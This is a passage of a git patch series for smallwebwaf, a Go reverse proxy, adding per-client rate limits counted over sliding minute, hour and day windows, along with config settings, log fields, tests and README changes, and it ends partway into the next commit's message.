go.sum hand-written; no make target tidies them. Model: opus-5-5 --- README.md | 74 ++++++--- go.mod | 2 + go.sum | 2 + internal/config/config.go | 44 ++++- internal/config/config_test.go | 44 ++++- internal/proxy/client.go | 15 ++ internal/proxy/proxy.go | 7 + internal/proxy/proxy_test.go | 1 + internal/proxy/ratelimits_test.go | 67 ++++++++ internal/proxy/request.go | 18 +- internal/ratelimit/ratelimit.go | 132 +++++++++++++++ internal/ratelimit/ratelimit_test.go | 200 +++++++++++++++++++++++ internal/requestlog/requestlog.go | 6 + internal/requestlog/requestlog_test.go | 4 +- internal/smallwebwaf/smallwebwaf_test.go | 3 + 15 files changed, 587 insertions(+), 32 deletions(-) create mode 100644 internal/proxy/ratelimits_test.go create mode 100644 internal/ratelimit/ratelimit.go create mode 100644 internal/ratelimit/ratelimit_test.go diff --git a/README.md b/README.md index 8fd4941..593e3f5 100644 --- a/README.md +++ b/README.md @@ -12,14 +12,15 @@ state in memory and in JSON files you can read and edit, and writes a detailed JSON log line for every request. Status: the first milestone is built -(https://git.eeqj.de/sneak/smallwebwaf/issues/13). `smallwebwaf` passes each -request to the app and the app's answer back, unchanged, within its timeouts and -size limits, works out each client's address, and writes a JSON log line for -every request. Rate limits per client, the country lists and the image an app -builds on come with milestone 2 -(https://git.eeqj.de/sneak/smallwebwaf/issues/14), and the rest of the design -after that, in the order of the build order in [`SPEC.md`](SPEC.md). The survey -of existing tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +(https://git.eeqj.de/sneak/smallwebwaf/issues/13), and the rate limits of the +second (https://git.eeqj.de/sneak/smallwebwaf/issues/14). `smallwebwaf` passes +each request to the app and the app's answer back, unchanged, within its +timeouts and size limits, works out each client's address, refuses a client that +sends too many requests, and writes a JSON log line for every request. The +country lists and the image an app builds on come with the rest of milestone 2, +and the rest of the design after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started @@ -38,7 +39,7 @@ It then listens on port 8080 and passes every request to the app at app on `127.0.0.1:8081`. On `SIGTERM` or `SIGINT` it stops taking requests and gives those in progress five seconds to finish. -## What milestone 1 does +## What it does so far - Passes each request to the app and the app's answer back unchanged: method, path, query, headers, body and status. Bodies stream through in both @@ -61,6 +62,16 @@ gives those in progress five seconds to finish. `smallwebwaf` was waiting for the client to send more, and `504` if it was waiting for the app to take what it had. Once the response has started, a limit can only cut the connection. +- Counts each client's requests over a minute, an hour and a day. A request that + takes the client over one of the rate limits below is refused with `429` + before anything reaches the app, and so is each request after it until the + client is back under every limit. A client is one IPv4 address, or one IPv6 + /64, since one abuser usually holds a whole /64. Refused requests count too, + so a client that keeps sending too fast stays refused until it slows down. + Each window is counted in two fixed buckets, the earlier one weighted by how + much of it the window still covers. At most 20,000 clients are kept, the least + recently seen dropped first, and only in memory: a restart starts every client + afresh. - Writes a line in the request log for each request (see "Request log" below). ## Settings @@ -86,18 +97,25 @@ it, and the effective settings are logged at start. to send its whole answer, from the end of the request to the last byte. - `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. - `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. +- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `1000`), `SWWAF_RATE_LIMIT_PER_HOUR` + (default `10000`) and `SWWAF_RATE_LIMIT_PER_DAY` (default `50000`): the most + requests a client may make in a minute, an hour and a day. The defaults are + several times what one busy person produces, since a browser loading a heavy + page makes a few hundred requests and several people often share one address. Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 -bytes). Netblocks are in CIDR form, and a bare address stands for itself alone. -`off` switches a timeout or a size limit off. +bytes). Rate limits are whole numbers of requests. Netblocks are in CIDR form, +and a bare address stands for itself alone. `off` switches a timeout, a size +limit or a rate limit off. -Two limits are fixed rather than settings: the request line and headers may take -up to 32 KiB, above which the answer is `431` and nothing reaches the app, and a -kept-open connection that sends nothing for 120 seconds is closed. That is +Four limits are fixed rather than settings. The request line and headers may +take up to 32 KiB, above which the answer is `431` and nothing reaches the app. +A kept-open connection that sends nothing for 120 seconds is closed. That is longer than the 90 seconds after which traefik closes a connection it is not using, so traefik never sends a request on a connection `smallwebwaf` is -closing. +closing. At most 20,000 clients are kept for the rate limits, and an IPv6 client +is counted by its /64. ## Request log @@ -113,10 +131,13 @@ refused ones included: - `status` is what the client was sent, `0` if nothing was; `upstream_status` is what the app answered, and is left out when the app did not answer. - `request_bytes` and `response_bytes` count body bytes. -- `action` is `forward` for a request passed to the app, `too_large` for a - request or response over its size limit, `timed_out` for one that ran out of - time, and `upstream_error` when the app could not be reached or its answer - broke off. +- `action` is `forward` for a request passed to the app, `rate_limited` for one + refused for a rate limit, `too_large` for a request or response over its size + limit, `timed_out` for one that ran out of time, and `upstream_error` when the + app could not be reached or its answer broke off. +- `limit_hit` is there for a request refused for a rate limit, and names the + window whose limit it went over: `minute`, `hour` or `day`, the shortest if it + went over several. - `aborted` is there, and true, when the client went away early. - `duration_total` and `duration_upstream_total` are in milliseconds. @@ -391,12 +412,17 @@ refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. - `internal/proxy`: what happens to each request: it works out the client, runs the checks, passes the request to the app and the answer back with the standard library's `httputil.ReverseProxy` within the timeouts and size - limits, and writes the request's log line. Its `check` method is where - milestone 2's rate limits and country lists refuse a request. + limits, and writes the request's log line. Its `check` method is where a + request is refused before anything reaches the app: for a rate limit, for an + announced body over the size limit, and, with the rest of milestone 2, for the + country lists. +- `internal/ratelimit`: counts each client's requests and tells when one takes + it over a rate limit. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. -Only the Go standard library is used. +Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the +table of clients to 20,000, dropping the least recently seen. ## Entrypoints @@ -430,8 +456,8 @@ so that they run in minimal containers. ## TODO -- Milestone 2: rate limits per client, the country lists and the image an app - builds on (https://git.eeqj.de/sneak/smallwebwaf/issues/14). +- Milestone 2: the country lists and the image an app builds on + (https://git.eeqj.de/sneak/smallwebwaf/issues/14); its rate limits are built. - The rest of the design, in the order of the build order in [`SPEC.md`](SPEC.md). diff --git a/go.mod b/go.mod index c60a421..7e30871 100644 --- a/go.mod +++ b/go.mod @@ -1,3 +1,5 @@ module sneak.berlin/go/smallwebwaf go 1.26.0 + +require github.com/hashicorp/golang-lru/v2 v2.0.7 diff --git a/go.sum b/go.sum index e69de29..a33c54a 100644 --- a/go.sum +++ b/go.sum @@ -0,0 +1,2 @@ +github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= +github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= diff --git a/internal/config/config.go b/internal/config/config.go index a0236c2..703aa18 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -16,7 +16,8 @@ import ( "time" ) -// Config is smallwebwaf's settings. A timeout or size of zero is off. +// Config is smallwebwaf's settings. A timeout, size or rate limit of zero +// is off. type Config struct { // ListenAddr is where smallwebwaf listens (SWWAF_LISTEN_ADDR). ListenAddr string @@ -43,13 +44,21 @@ type Config struct { // ResponseMaxBytes is the largest response body // (SWWAF_RESPONSE_MAX_BYTES). ResponseMaxBytes int64 + // RateLimitPerMinute, RateLimitPerHour and RateLimitPerDay are the + // most requests a client may make in a minute, an hour and a day + // (SWWAF_RATE_LIMIT_PER_MINUTE, SWWAF_RATE_LIMIT_PER_HOUR and + // SWWAF_RATE_LIMIT_PER_DAY). + RateLimitPerMinute int64 + RateLimitPerHour int64 + RateLimitPerDay int64 // settings are the values read, as given or by default, for the // log line at start. settings []slog.Attr } -// off is the value that switches a timeout or a size limit off. +// off is the value that switches a timeout, a size limit or a rate limit +// off. const off = "off" const ( @@ -64,6 +73,8 @@ var ( "is not a duration such as 90s, 15m or 7d, or off") errNotSize = errors.New( "is not a size such as 512K, 100M or 5G, or off") + errNotCount = errors.New( + "is not a whole number of requests such as 1000, or off") errNotPositive = errors.New("must be more than zero, or off") errEmptyItem = errors.New("has an empty item in its list") errNotNetblock = errors.New( @@ -90,6 +101,9 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { UpstreamResponseTimeout: env.duration("SWWAF_UPSTREAM_RESPONSE_TIMEOUT", "30m"), RequestMaxBytes: env.size("SWWAF_REQUEST_MAX_BYTES", "100M"), ResponseMaxBytes: env.size("SWWAF_RESPONSE_MAX_BYTES", "5G"), + RateLimitPerMinute: env.count("SWWAF_RATE_LIMIT_PER_MINUTE", "1000"), + RateLimitPerHour: env.count("SWWAF_RATE_LIMIT_PER_HOUR", "10000"), + RateLimitPerDay: env.count("SWWAF_RATE_LIMIT_PER_DAY", "50000"), } if env.err != nil { @@ -179,6 +193,14 @@ func (e *environment) size(name, defaultValue string) int64 { return size } +// count reads a setting that is a number of requests. +func (e *environment) count(name, defaultValue string) int64 { + count, err := parseCount(e.value(name, defaultValue)) + e.check(name, err) + + return count +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { @@ -249,6 +271,24 @@ func splitUnit(value string) (string, int64) { } } +// parseCount reads a whole number of requests, or off. +func parseCount(value string) (int64, error) { + if value == off { + return 0, nil + } + + n, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return 0, fmt.Errorf("%q %w", value, errNotCount) + } + + if n <= 0 { + return 0, fmt.Errorf("%q %w", value, errNotPositive) + } + + return n, nil +} + // parseList splits a comma-separated list and trims the spaces around // each item. An empty value is an empty list. func parseList(value string) ([]string, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 964ffa1..83a910b 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -25,9 +25,12 @@ const ( upstreamResponseTimeout = "SWWAF_UPSTREAM_RESPONSE_TIMEOUT" requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" + rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" + rateLimitPerHour = "SWWAF_RATE_LIMIT_PER_HOUR" + rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" ) -// off switches a timeout or a size limit off. +// off switches a timeout, a size limit or a rate limit off. const off = "off" // environment is a set of environment variables, for FromEnvironment. @@ -65,6 +68,9 @@ func TestDefaults(t *testing.T) { UpstreamResponseTimeout: 30 * time.Minute, RequestMaxBytes: 100 << 20, ResponseMaxBytes: 5 << 30, + RateLimitPerMinute: 1000, + RateLimitPerHour: 10000, + RateLimitPerDay: 50000, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -88,6 +94,9 @@ func TestValuesAsSet(t *testing.T) { upstreamResponseTimeout: off, requestMaxBytes: "512K", responseMaxBytes: "1234", + rateLimitPerMinute: "60", + rateLimitPerHour: "600", + rateLimitPerDay: "6000", }) wantSettings(t, cfg, config.Config{ @@ -98,6 +107,9 @@ func TestValuesAsSet(t *testing.T) { UpstreamResponseTimeout: 0, RequestMaxBytes: 512 << 10, ResponseMaxBytes: 1234, + RateLimitPerMinute: 60, + RateLimitPerHour: 600, + RateLimitPerDay: 6000, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -123,6 +135,22 @@ func TestSizesAndOff(t *testing.T) { } } +func TestRateLimitsOff(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + rateLimitPerMinute: off, + rateLimitPerHour: off, + rateLimitPerDay: off, + }) + + if cfg.RateLimitPerMinute != 0 || cfg.RateLimitPerHour != 0 || + cfg.RateLimitPerDay != 0 { + t.Errorf("off read as %d, %d and %d", + cfg.RateLimitPerMinute, cfg.RateLimitPerHour, cfg.RateLimitPerDay) + } +} + func TestTrustedProxiesSetButEmptyTrustNothing(t *testing.T) { t.Parallel() @@ -164,6 +192,12 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {responseMaxBytes, "0"}, {responseMaxBytes, "-5"}, {responseMaxBytes, "99999999999G"}, + {rateLimitPerMinute, ""}, + {rateLimitPerMinute, "1K"}, + {rateLimitPerHour, "0"}, + {rateLimitPerHour, "1.5"}, + {rateLimitPerDay, "-1"}, + {rateLimitPerDay, "lots"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -208,6 +242,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { upstreamResponseTimeout: "30m", requestMaxBytes: "100M", responseMaxBytes: "5G", + rateLimitPerMinute: "1000", + rateLimitPerHour: "10000", + rateLimitPerDay: "50000", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -224,7 +261,10 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { got.UpstreamRequestTimeout != want.UpstreamRequestTimeout || got.UpstreamResponseTimeout != want.UpstreamResponseTimeout || got.RequestMaxBytes != want.RequestMaxBytes || - got.ResponseMaxBytes != want.ResponseMaxBytes { + got.ResponseMaxBytes != want.ResponseMaxBytes || + got.RateLimitPerMinute != want.RateLimitPerMinute || + got.RateLimitPerHour != want.RateLimitPerHour || + got.RateLimitPerDay != want.RateLimitPerDay { t.Errorf("settings\n%+v\nwant\n%+v", got, want) } } diff --git a/internal/proxy/client.go b/internal/proxy/client.go index 1f9f1e9..e1c751e 100644 --- a/internal/proxy/client.go +++ b/internal/proxy/client.go @@ -48,6 +48,21 @@ func clientAddress( return client } +// ipv6GroupPrefix is the length of the IPv6 netblock that is one client. +const ipv6GroupPrefix = 64 + +// clientGroup is the client a request is counted toward: its IPv4 +// address, or the /64 its IPv6 address is in, since one abuser usually +// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4. +func clientGroup(addr netip.Addr) netip.Prefix { + addr = addr.Unmap() + if addr.Is6() { + return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked() + } + + return netip.PrefixFrom(addr, addr.BitLen()) +} + // isInside reports whether addr is in one of the netblocks. func isInside(addr netip.Addr, netblocks []netip.Prefix) bool { return slices.ContainsFunc(netblocks, func(netblock netip.Prefix) bool { diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 327ba81..a650c11 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -11,6 +11,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" ) // The request line and headers a client may send, and how long a @@ -57,6 +58,11 @@ func New(params Params) *http.Server { processLog: params.ProcessLog, errorLog: errorLog, transport: newTransport(), + limiter: ratelimit.New(ratelimit.Limits{ + PerMinute: params.Config.RateLimitPerMinute, + PerHour: params.Config.RateLimitPerHour, + PerDay: params.Config.RateLimitPerDay, + }), }, ReadHeaderTimeout: params.Config.ClientRequestTimeout, IdleTimeout: clientIdleTimeout, @@ -73,6 +79,7 @@ type handler struct { processLog *slog.Logger errorLog *log.Logger transport http.RoundTripper + limiter *ratelimit.Limiter } // newTransport returns what carries requests to the app. It never goes diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index 9a37a40..7b4ebab 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -44,6 +44,7 @@ const ( requestMaxBytes = "SWWAF_REQUEST_MAX_BYTES" responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" trustedProxies = "SWWAF_TRUSTED_PROXIES" + rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" ) // output collects what smallwebwaf writes on stdout. diff --git a/internal/proxy/ratelimits_test.go b/internal/proxy/ratelimits_test.go new file mode 100644 index 0000000..0708cb9 --- /dev/null +++ b/internal/proxy/ratelimits_test.go @@ -0,0 +1,67 @@ +package proxy_test + +import ( + "net/http" + "sync/atomic" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +func TestRateLimitRefusesWith429BeforeTheApp(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + addr, out := startProxy(t, app.URL, map[string]string{ + trustedProxies: trustLocalhost, + rateLimitPerMinute: "1", + }) + + const otherClient = "203.0.113.10" + + // With a limit of one request a minute, a client's second request is + // refused. A client is one IPv4 address, or one IPv6 /64; an IPv4 + // address in IPv6 form is that IPv4 address. + requests := []struct { + client string // as X-Forwarded-For names it + logged string // as the log line's client_ip names it + want int + }{ + {client, client, http.StatusOK}, + {client, client, http.StatusTooManyRequests}, + {otherClient, otherClient, http.StatusOK}, + {"::ffff:" + otherClient, otherClient, http.StatusTooManyRequests}, + {"2001:db8::1", "2001:db8::1", http.StatusOK}, + {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusTooManyRequests}, + {"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK}, + } + + for i, sent := range requests { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, sent.client) + wantStatus(t, do(t, req), sent.want) + + line := out.requestLines(t, i+1)[i] + if line.ClientIP != sent.logged { + t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged) + } + + if sent.want == http.StatusOK { + wantLine(t, line, http.StatusOK, requestlog.ActionForward) + } else { + wantLine(t, line, http.StatusTooManyRequests, requestlog.ActionRateLimited) + + if line.LimitHit != "minute" { + t.Errorf("log line has limit_hit %q, want minute", line.LimitHit) + } + } + } + + if calls.Load() != 4 { + t.Errorf("the app was called %d times, want 4", calls.Load()) + } +} diff --git a/internal/proxy/request.go b/internal/proxy/request.go index bf73130..6520d6b 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -38,6 +38,7 @@ type request struct { body *requestBody // nil for a request without a body line requestlog.Line + client netip.Addr peer netip.Addr peerTrusted bool start time.Time @@ -75,6 +76,7 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { in: r, rc: http.NewResponseController(w), out: &responseWriter{ResponseWriter: w}, + client: client, peer: peer, peerTrusted: isInside(peer, trusted), start: start, @@ -100,10 +102,20 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { } // check is the one place where a request can be refused once its client -// is known, before its body is read or anything reaches the app; the rate -// limits and country lists of milestone 2 go here. It returns nil to let -// the request through. +// is known, before its body is read or anything reaches the app. It +// returns nil to let the request through. The rate limits come first, so +// that every request is counted, one refused for its size too. func (rq *request) check() *refusal { + limitHit := rq.h.limiter.Count(clientGroup(rq.client), rq.start) + if limitHit != "" { + rq.line.LimitHit = limitHit + + return &refusal{ + status: http.StatusTooManyRequests, + action: requestlog.ActionRateLimited, + } + } + maxBytes := rq.h.config.RequestMaxBytes if maxBytes > 0 && rq.in.ContentLength > maxBytes { return &refusal{ diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go new file mode 100644 index 0000000..3396c18 --- /dev/null +++ b/internal/ratelimit/ratelimit.go @@ -0,0 +1,132 @@ +// Package ratelimit counts each client's requests over a minute, an hour +// and a day, as the "Counting method" section of SPEC.md describes, and +// tells when a request takes a client over a rate limit. The counts are +// kept in memory only, for at most 20,000 clients. +package ratelimit + +import ( + "net/netip" + "sync" + "time" + + "github.com/hashicorp/golang-lru/v2/simplelru" +) + +// maxClients is how many clients are kept. Past it, the least recently +// seen client is dropped, and starts afresh if it comes back. +const maxClients = 20000 + +const day = 24 * time.Hour + +// Limits are the most requests a client may make in a minute, an hour and +// a day. Zero is no limit. +type Limits struct { + PerMinute int64 + PerHour int64 + PerDay int64 +} + +// Limiter counts each client's requests against the limits. It is safe +// for concurrent use. +type Limiter struct { + windows [3]window + + mu sync.Mutex + // clients holds each client's buckets, one pair for each of windows, + // in the same order. + clients *simplelru.LRU[netip.Prefix, *[3]buckets] +} + +// New returns a Limiter for limits, with no client counted yet. +func New(limits Limits) *Limiter { + clients, err := simplelru.NewLRU[netip.Prefix, *[3]buckets](maxClients, nil) + if err != nil { + panic(err) // NewLRU fails only for a size below one + } + + return &Limiter{ + windows: [3]window{ + {name: "minute", length: time.Minute, limit: limits.PerMinute}, + {name: "hour", length: time.Hour, limit: limits.PerHour}, + {name: "day", length: day, limit: limits.PerDay}, + }, + clients: clients, + } +} + +// Count counts a request from client at now, in every window, whether or +// not it is refused. It returns the window whose limit the request takes +// the client over, "minute", "hour" or "day", the shortest if it is over +// several, or "" if it is within every limit. +func (l *Limiter) Count(client netip.Prefix, now time.Time) string { + l.mu.Lock() + defer l.mu.Unlock() + + counts, seen := l.clients.Get(client) + if !seen { + counts = &[3]buckets{} + l.clients.Add(client, counts) + } + + limitHit := "" + + for i, w := range l.windows { + requests := counts[i].add(now, w.length) + if limitHit == "" && w.limit > 0 && requests > float64(w.limit) { + limitHit = w.name + } + } + + return limitHit +} + +// window is a length of time over which requests are counted, and the +// most requests a client may make in it. +type window struct { + name string + length time.Duration + limit int64 +} + +// buckets are a client's two buckets in one window: the requests in the +// bucket under way, which began at start, and in the bucket before it. +type buckets struct { + start time.Time + current int64 + previous int64 +} + +// add counts a request at now in a window of length, and returns the +// client's requests in the window that ends at now: those in the bucket +// under way, and those in the bucket before it weighted by how much of +// that bucket the window still covers. +// +// Concurrent requests can be counted out of order, so now can be a moment +// before the bucket under way began; such a request is counted in that +// bucket. A request dated more than a second before it means the clock +// was set back, and the buckets start afresh: otherwise the bucket before +// would keep its full weight until the clock caught up. +func (b *buckets) add(now time.Time, length time.Duration) float64 { + if now.Before(b.start.Add(-time.Second)) { + *b = buckets{} + } + + start := now.Truncate(length) + if start.After(b.start) { + if start.Equal(b.start.Add(length)) { + b.previous = b.current + } else { + b.previous = 0 + } + + b.start = start + b.current = 0 + } + + b.current++ + + elapsed := max(now.Sub(b.start), 0) + covered := 1 - float64(elapsed)/float64(length) + + return float64(b.previous)*covered + float64(b.current) +} diff --git a/internal/ratelimit/ratelimit_test.go b/internal/ratelimit/ratelimit_test.go new file mode 100644 index 0000000..58ae89d --- /dev/null +++ b/internal/ratelimit/ratelimit_test.go @@ -0,0 +1,200 @@ +package ratelimit_test + +import ( + "net/netip" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +// limit is the limit the tests set. +const limit = 3 + +// The windows, as Count names them. +const ( + minute = "minute" + hour = "hour" +) + +func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + window string + limits ratelimit.Limits + length time.Duration + }{ + {minute, ratelimit.Limits{PerMinute: limit}, time.Minute}, + {hour, ratelimit.Limits{PerHour: limit}, time.Hour}, + {"day", ratelimit.Limits{PerDay: limit}, 24 * time.Hour}, + } { + t.Run(tc.window, func(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(tc.limits) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + quarter := tc.length / 4 + + for range limit { + wantCount(t, limiter, client, start, "") + } + + wantCount(t, limiter, client, start, tc.window) + + // A quarter into the next bucket, the window still covers three + // quarters of the bucket before, with its four requests: 3 + 1 + // is over the limit. + wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window) + + // Three quarters into it, a quarter: 1 + 2 is within. + wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "") + }) + } +} + +func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + wantCount(t, limiter, client, start, "") + } + + wantCount(t, limiter, client, start, hour) + + // No request in the whole next bucket, so a quarter into the one after + // it the window covers none of the four requests: 1 is within the + // limit. Were they counted as the bucket before, 3 + 1 would be over. + wantCount(t, limiter, client, start.Add(2*time.Hour+time.Hour/4), "") +} + +func TestRefusedRequestsCount(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit}) + refused := netip.MustParsePrefix("203.0.113.9/32") + within := netip.MustParsePrefix("203.0.113.10/32") + start := midnight() + + for range limit { + wantCount(t, limiter, refused, start, "") + wantCount(t, limiter, within, start, "") + } + + for range limit { + wantCount(t, limiter, refused, start, minute) + } + + // Half a minute into the next bucket the window covers half of the + // bucket before: 3 + 1 is over the minute's limit for the client + // whose three refused requests count, and 1.5 + 1 within it for the + // other. The first is over the hour's limit too, and the shorter + // window is named. + halfway := start.Add(time.Minute + time.Minute/2) + wantCount(t, limiter, refused, halfway, minute) + wantCount(t, limiter, within, halfway, "") + + // The refused requests count in the hour as well: 6 + 1 + 1 is over + // its limit, and 3 + 1 + 1 within it. + later := start.Add(10 * time.Minute) + wantCount(t, limiter, refused, later, hour) + wantCount(t, limiter, within, later, "") +} + +func TestRequestCountedLateGoesInTheBucketUnderWay(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + wantCount(t, limiter, client, start, "") + } + + // A concurrent request dated a moment before the bucket under way, but + // counted after it began, is counted in it: 3 + 1 is over the limit. + wantCount(t, limiter, client, start.Add(-time.Millisecond), minute) +} + +func TestClockSetBackStartsTheBucketsAfresh(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerHour: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + wantCount(t, limiter, client, start, "") + } + + // Half an hour into the next bucket: 3 / 2 + 1 is within the limit. + wantCount(t, limiter, client, start.Add(time.Hour+time.Hour/2), "") + + // The clock is set back an hour. Counted in the bucket under way, the + // next request would find the bucket before it at full weight, 3 + 2, + // over the limit until the clock caught up. The buckets start afresh + // instead, and the client is refused only past the limit again. + setBack := start.Add(time.Hour / 2) + for range limit { + wantCount(t, limiter, client, setBack, "") + } + + wantCount(t, limiter, client, setBack, hour) +} + +func TestKeepsAtMost20000ClientsDroppingTheLeastRecentlySeen(t *testing.T) { + t.Parallel() + + const maxClients = 20000 + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: 1}) + now := midnight() + + clients := make([]netip.Prefix, maxClients+1) + addr := netip.MustParseAddr("10.0.0.0") + + for i := range clients { + clients[i] = netip.PrefixFrom(addr, addr.BitLen()) + addr = addr.Next() + } + + for _, client := range clients[:maxClients] { + wantCount(t, limiter, client, now, "") + } + + // The first client is seen again: its second request is over the + // limit of one, so it is still counted. + wantCount(t, limiter, clients[0], now, minute) + + // One client more drops the least recently seen, the second, which + // starts afresh, while the first is kept. + wantCount(t, limiter, clients[maxClients], now, "") + wantCount(t, limiter, clients[1], now, "") + wantCount(t, limiter, clients[0], now, minute) +} + +// midnight is the start of a bucket in every window. +func midnight() time.Time { + return time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC) +} + +// wantCount counts a request from client at now, and checks the window +// whose limit it goes over, "" for none. +func wantCount( + t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time, + want string, +) { + t.Helper() + + got := limiter.Count(client, now) + if got != want { + t.Errorf("request from %s at %s is over %q, want %q", + client, now.Format(time.RFC3339), got, want) + } +} diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index 07f074b..c31b9d9 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -23,6 +23,9 @@ const ( // ActionUpstreamError is a request the app could not be reached // for, or whose answer could not be passed on. ActionUpstreamError = "upstream_error" + // ActionRateLimited is a request refused because it took its client + // over a rate limit, or came while the client was over one. + ActionRateLimited = "rate_limited" ) // timeLayout is RFC 3339 with milliseconds. @@ -49,6 +52,9 @@ type Line struct { Referer string `json:"referer"` UserAgent string `json:"user_agent"` Action string `json:"action"` + // LimitHit is the window whose rate limit the request went over: + // minute, hour or day. + LimitHit string `json:"limit_hit,omitempty"` // Aborted is true when the client went away early. Aborted bool `json:"aborted,omitempty"` // DurationTotal and DurationUpstreamTotal are in milliseconds. diff --git a/internal/requestlog/requestlog_test.go b/internal/requestlog/requestlog_test.go index 84fba56..a2d0003 100644 --- a/internal/requestlog/requestlog_test.go +++ b/internal/requestlog/requestlog_test.go @@ -49,7 +49,9 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) { } } - unset := []string{"upstream_status", "aborted", "duration_upstream_total"} + unset := []string{ + "upstream_status", "limit_hit", "aborted", "duration_upstream_total", + } for _, name := range unset { _, present := fields[name] if present { diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 2013071..fb7341b 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -185,6 +185,9 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", "SWWAF_REQUEST_MAX_BYTES": "100M", "SWWAF_RESPONSE_MAX_BYTES": "5G", + "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", + "SWWAF_RATE_LIMIT_PER_HOUR": "10000", + "SWWAF_RATE_LIMIT_PER_DAY": "50000", } for name, value := range want { From 6bd5f620f6ac63ef07433072cd2b720d4a2584fb Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 06:09:22 +0200 Subject: [PATCH 07/64] TestRequestTimeouts expects 504 when none of the body reached the app (closes #49) In the cases where the app reads and the client stops sending halfway, smallwebwaf waits on the client only once it has passed the first bytes of the body to the app. A test process held up for the whole 300 ms timeout before then rightly gets 504, as SPEC.md asks, 